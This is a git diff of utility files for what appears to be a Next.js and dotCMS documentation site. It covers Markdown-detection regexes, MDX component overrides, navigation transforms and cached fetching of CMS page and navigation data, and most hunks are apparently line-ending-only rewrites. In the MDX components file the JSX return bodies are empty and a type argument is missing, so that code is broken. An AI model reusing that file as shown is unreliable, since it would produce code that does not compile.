+ /~~~[\s\S]*?~~~/, // Alternative code blocks
+
+ // Blockquotes
+ /^>\s/m, // > blockquote
+
+ // Tables
+ /\|[^|\n]+\|/m, // |table|cells|
+ /^[-:|]+$/m, // Table separator line
+
+ // HTML tags (common in Markdown)
+ /<\/?[a-z0-9]+(?:\s+[^>]*)?>/i,
+
+ // Reference-style links
+ /^\[[^\]]+\]:\s+\S+/m,
+
+ // Task lists
+ /^[\s]*[-*+]\s+\[[x ]\]/im, // - [ ] or - [x]
+
+ // Horizontal rules
+ /^(?:[-*_]\s*){3,}$/m // --- or *** or ___
+ ];
+
+ // Return true if any Markdown pattern is found
+ return markdownPatterns.some(pattern => pattern.test(text));
+}
+
+/**
+ * A more strict version that requires multiple Markdown elements to be present
+ * This helps reduce false positives for simple text that might contain a single Markdown-like character
+ * @param {string} text - The text to check for Markdown formatting
+ * @param {number} minPatterns - Minimum number of different Markdown patterns required (default: 2)
+ * @returns {boolean} - True if the text contains enough Markdown formatting, false otherwise
+ */
+export function isMarkdownStrict(text, minPatterns = 2) {
+ if (!text || typeof text !== 'string') return false;
+
+ const patterns = [
+ { type: 'header', pattern: /^#{1,6}\s/m },
+ { type: 'emphasis', pattern: /[*_]{1,2}[^*_]+[*_]{1,2}/ },
+ { type: 'link', pattern: /\[([^\]]+)\]\(([^)]+)\)/ },
+ { type: 'list', pattern: /^[\s]*[-+*]\d+\.\s/m },
+ { type: 'code', pattern: /`[^`]+`|```[\s\S]*?```/ },
+ { type: 'blockquote', pattern: /^>\s/m },
+ { type: 'table', pattern: /\|[^|\n]+\|/ },
+ { type: 'horizontalRule', pattern: /^(?:[-*_]\s*){3,}$/m }
+ ];
+
+ const matchedPatterns = patterns.filter(({ pattern }) => pattern.test(text));
+ return matchedPatterns.length >= minPatterns;
}
\ No newline at end of file
diff --git a/util/mdx-components.tsx b/util/mdx-components.tsx
index 08880e2..e15731d 100644
--- a/util/mdx-components.tsx
+++ b/util/mdx-components.tsx
@@ -1,41 +1,41 @@
-import type { MDXComponents } from 'mdx/types';
-import Video from '@/components/mdx/Video';
-import Link from 'next/link';
-import Image from 'next/image';
-import { DetailedHTMLProps, ImgHTMLAttributes } from 'react';
-
-type MDXImageProps = DetailedHTMLProps, HTMLImageElement>;
-
-export function useMDXComponents(components: MDXComponents): MDXComponents {
- return {
- a: ({ href = '', ...props }: React.AnchorHTMLAttributes) => (
-
- ),
- img: (props: MDXImageProps) => {
- let finalWidth = 800;
- let finalHeight = 400;
-
- if (props.width) {
- finalWidth = typeof props.width === 'string' ? parseInt(props.width, 10) : props.width;
- }
- if (props.height) {
- finalHeight = typeof props.height === 'string' ? parseInt(props.height, 10) : props.height;
- }
-
- const { width, height, ...restProps } = props;
-
- return (
-
- );
- },
- video: Video,
- ...components,
- };
+import type { MDXComponents } from 'mdx/types';
+import Video from '@/components/mdx/Video';
+import Link from 'next/link';
+import Image from 'next/image';
+import { DetailedHTMLProps, ImgHTMLAttributes } from 'react';
+
+type MDXImageProps = DetailedHTMLProps, HTMLImageElement>;
+
+export function useMDXComponents(components: MDXComponents): MDXComponents {
+ return {
+ a: ({ href = '', ...props }: React.AnchorHTMLAttributes) => (
+
+ ),
+ img: (props: MDXImageProps) => {
+ let finalWidth = 800;
+ let finalHeight = 400;
+
+ if (props.width) {
+ finalWidth = typeof props.width === 'string' ? parseInt(props.width, 10) : props.width;
+ }
+ if (props.height) {
+ finalHeight = typeof props.height === 'string' ? parseInt(props.height, 10) : props.height;
+ }
+
+ const { width, height, ...restProps } = props;
+
+ return (
+
+ );
+ },
+ video: Video,
+ ...components,
+ };
}
\ No newline at end of file
diff --git a/util/navTransform.ts b/util/navTransform.ts
index 52699ac..d224f24 100644
--- a/util/navTransform.ts
+++ b/util/navTransform.ts
@@ -1,99 +1,99 @@
-// Navigation transform utilities shared between server and client
-
-export interface NavItem {
- title: string;
- href: string;
- icon?: any;
- target?: string;
- items?: NavItem[];
-}
-
-export interface NavSection {
- title: string;
- items: NavItem[];
-}
-
-export interface ApiNavItem {
- type: 'folder' | 'link' | 'page';
- title: string;
- href?: string;
- code?: string | null;
- folder?: string;
- order: number;
- target?: string;
- children: ApiNavItem[];
-}
-
-export function processLinkHref(linkData: ApiNavItem): string {
- if (linkData.code && linkData.code.trim() !== '') {
- return `/docs/${linkData.code}`;
- }
-
- if (linkData.href) {
- if (linkData.href.startsWith('https://')) {
- return linkData.href;
- }
-
- try {
- const url = new URL(linkData.href);
- return url.pathname + url.search + url.hash;
- } catch (_e) {
- return linkData.href;
- }
- }
-
- return '#';
-}
-
-export function transformApiItemsToNavItems(items: ApiNavItem[]): NavItem[] {
- if (!items || !Array.isArray(items)) {
- return [];
- }
-
- return items
- .sort((a, b) => a.order - b.order)
- .map((item) => {
- if (item.type === 'folder') {
- const navItem: NavItem = {
- title: item.title,
- href: '#',
- };
-
- if (item.children && item.children.length > 0) {
- navItem.items = transformApiItemsToNavItems(item.children);
- }
- return navItem;
- } else if (item.type === 'link' || item.type === 'page') {
- const navItem: NavItem = {
- title: item.title,
- href: processLinkHref(item),
- };
- if (item.target === '_blank') {
- navItem.target = '_blank';
- }
- return navItem;
- }
-
- return {
- title: item.title,
- href: '#',
- };
- })
- .filter(Boolean);
-}
-
-export function transformApiResponseToNavSections(apiData: ApiNavItem[]): NavSection[] {
- if (!apiData || !Array.isArray(apiData)) {
- return [];
- }
-
- return apiData
- .filter((item) => item.type === 'folder')
- .sort((a, b) => a.order - b.order)
- .map((section) => ({
- title: section.title,
- items: transformApiItemsToNavItems(section.children || []),
- }));
-}
-
-
+// Navigation transform utilities shared between server and client
+
+export interface NavItem {
+ title: string;
+ href: string;
+ icon?: any;
+ target?: string;
+ items?: NavItem[];
+}
+
+export interface NavSection {
+ title: string;
+ items: NavItem[];
+}
+
+export interface ApiNavItem {
+ type: 'folder' | 'link' | 'page';
+ title: string;
+ href?: string;
+ code?: string | null;
+ folder?: string;
+ order: number;
+ target?: string;
+ children: ApiNavItem[];
+}
+
+export function processLinkHref(linkData: ApiNavItem): string {
+ if (linkData.code && linkData.code.trim() !== '') {
+ return `/docs/${linkData.code}`;
+ }
+
+ if (linkData.href) {
+ if (linkData.href.startsWith('https://')) {
+ return linkData.href;
+ }
+
+ try {
+ const url = new URL(linkData.href);
+ return url.pathname + url.search + url.hash;
+ } catch (_e) {
+ return linkData.href;
+ }
+ }
+
+ return '#';
+}
+
+export function transformApiItemsToNavItems(items: ApiNavItem[]): NavItem[] {
+ if (!items || !Array.isArray(items)) {
+ return [];
+ }
+
+ return items
+ .sort((a, b) => a.order - b.order)
+ .map((item) => {
+ if (item.type === 'folder') {
+ const navItem: NavItem = {
+ title: item.title,
+ href: '#',
+ };
+
+ if (item.children && item.children.length > 0) {
+ navItem.items = transformApiItemsToNavItems(item.children);
+ }
+ return navItem;
+ } else if (item.type === 'link' || item.type === 'page') {
+ const navItem: NavItem = {
+ title: item.title,
+ href: processLinkHref(item),
+ };
+ if (item.target === '_blank') {
+ navItem.target = '_blank';
+ }
+ return navItem;
+ }
+
+ return {
+ title: item.title,
+ href: '#',
+ };
+ })
+ .filter(Boolean);
+}
+
+export function transformApiResponseToNavSections(apiData: ApiNavItem[]): NavSection[] {
+ if (!apiData || !Array.isArray(apiData)) {
+ return [];
+ }
+
+ return apiData
+ .filter((item) => item.type === 'folder')
+ .sort((a, b) => a.order - b.order)
+ .map((section) => ({
+ title: section.title,
+ items: transformApiItemsToNavItems(section.children || []),
+ }));
+}
+
+
diff --git a/util/page.utils.js b/util/page.utils.js
index 63537c3..09b5908 100644
--- a/util/page.utils.js
+++ b/util/page.utils.js
@@ -1,52 +1,52 @@
-import { Config } from "./config";
-import { client } from "./dotcmsClient";
-import { navCache, getCacheKey } from "./cacheService";
-export const fetchPageData = async (params) => {
- try {
- const pageAsset = await client.page.get({
- ...params,
- depth: 1,
- });
-
- return { pageAsset };
- } catch (error) {
- if (error?.status === 404) {
- return { pageAsset: null, error: null };
- }
-
- return { pageAsset: null, error };
- }
-};
-
-export const fetchNavData = async (dataIn) => {
- const cacheTTL = dataIn.ttl || 900;
- const cacheKey = getCacheKey(dataIn.path + dataIn.depth + dataIn.languageId);
-
- const cachedData = navCache.get(cacheKey);
- if (cachedData) {
- return { nav: cachedData };
- }
-
- const url = new URL("/api/v1/nav" + dataIn.path + "?depth=" + dataIn.depth + "&languageId=" + dataIn.languageId, Config.DotCMSHost);
-
- try {
- const res = await fetch(url, {
- method: "GET",
- headers: Config.Headers
-
- });
- const nav = await res.json();
- navCache.set(cacheKey, nav.entity, cacheTTL);
- return { nav: nav.entity};
- } catch(err) {
- console.group("Error fetching Page");
- console.warn("Check your URL or DOTCMS_HOST: ", url.toString());
- console.error(err);
- console.groupEnd();
-
- return { page: null };
- }
-
-
-
-};
+import { Config } from "./config";
+import { client } from "./dotcmsClient";
+import { navCache, getCacheKey } from "./cacheService";
+export const fetchPageData = async (params) => {
+ try {
+ const pageAsset = await client.page.get({
+ ...params,
+ depth: 1,
+ });
+
+ return { pageAsset };
+ } catch (error) {
+ if (error?.status === 404) {
+ return { pageAsset: null, error: null };
+ }
+
+ return { pageAsset: null, error };
+ }
+};
+
+export const fetchNavData = async (dataIn) => {
+ const cacheTTL = dataIn.ttl || 900;
+ const cacheKey = getCacheKey(dataIn.path + dataIn.depth + dataIn.languageId);
+
+ const cachedData = navCache.get(cacheKey);
+ if (cachedData) {
+ return { nav: cachedData };
+ }
+
+ const url = new URL("/api/v1/nav" + dataIn.path + "?depth=" + dataIn.depth + "&languageId=" + dataIn.languageId, Config.DotCMSHost);
+
+ try {
+ const res = await fetch(url, {
+ method: "GET",
+ headers: Config.Headers
+
+ });
+ const nav = await res.json();
+ navCache.set(cacheKey, nav.entity, cacheTTL);
+ return { nav: nav.entity};
+ } catch(err) {
+ console.group("Error fetching Page");
+ console.warn("Check your URL or DOTCMS_HOST: ", url.toString());
+ console.error(err);
+ console.groupEnd();
+
+ return { page: null };
+ }
+
+
+
+};
diff --git a/util/utils.ts b/util/utils.ts
index 3ec9846..00918d2 100644
--- a/util/utils.ts
+++ b/util/utils.ts
@@ -1,35 +1,35 @@
-import { type ClassValue, clsx } from "clsx"
-import { twMerge } from "tailwind-merge"
-
-export function cn(...inputs: ClassValue[]) {
- return twMerge(clsx(inputs))
-}
-
-
-export function extractAssetId(uri: string) {
- const match = uri.match(/\/dA\/([^/]+)/);
- return match ? match[1] : null;
-}
-
-/**
- * Checks if a string is valid JSON
- * @param str - The string to check
- * @returns true if the string is valid JSON, false otherwise
- */
-export function isJSON(str: any): boolean {
-
- if( str instanceof Array) {
- return false;
- }
- if( str instanceof Object) {
- return true;
- }
-
-
- try {
- JSON.parse(str);
- return true;
- } catch (e) {
- return false;
- }
-}
+import { type ClassValue, clsx } from "clsx"
+import { twMerge } from "tailwind-merge"
+
+export function cn(...inputs: ClassValue[]) {
+ return twMerge(clsx(inputs))
+}
+
+
+export function extractAssetId(uri: string) {
+ const match = uri.match(/\/dA\/([^/]+)/);
+ return match ? match[1] : null;
+}
+
+/**
+ * Checks if a string is valid JSON
+ * @param str - The string to check
+ * @returns true if the string is valid JSON, false otherwise
+ */
+export function isJSON(str: any): boolean {
+
+ if( str instanceof Array) {
+ return false;
+ }
+ if( str instanceof Object) {
+ return true;
+ }
+
+
+ try {
+ JSON.parse(str);
+ return true;
+ } catch (e) {
+ return false;
+ }
+}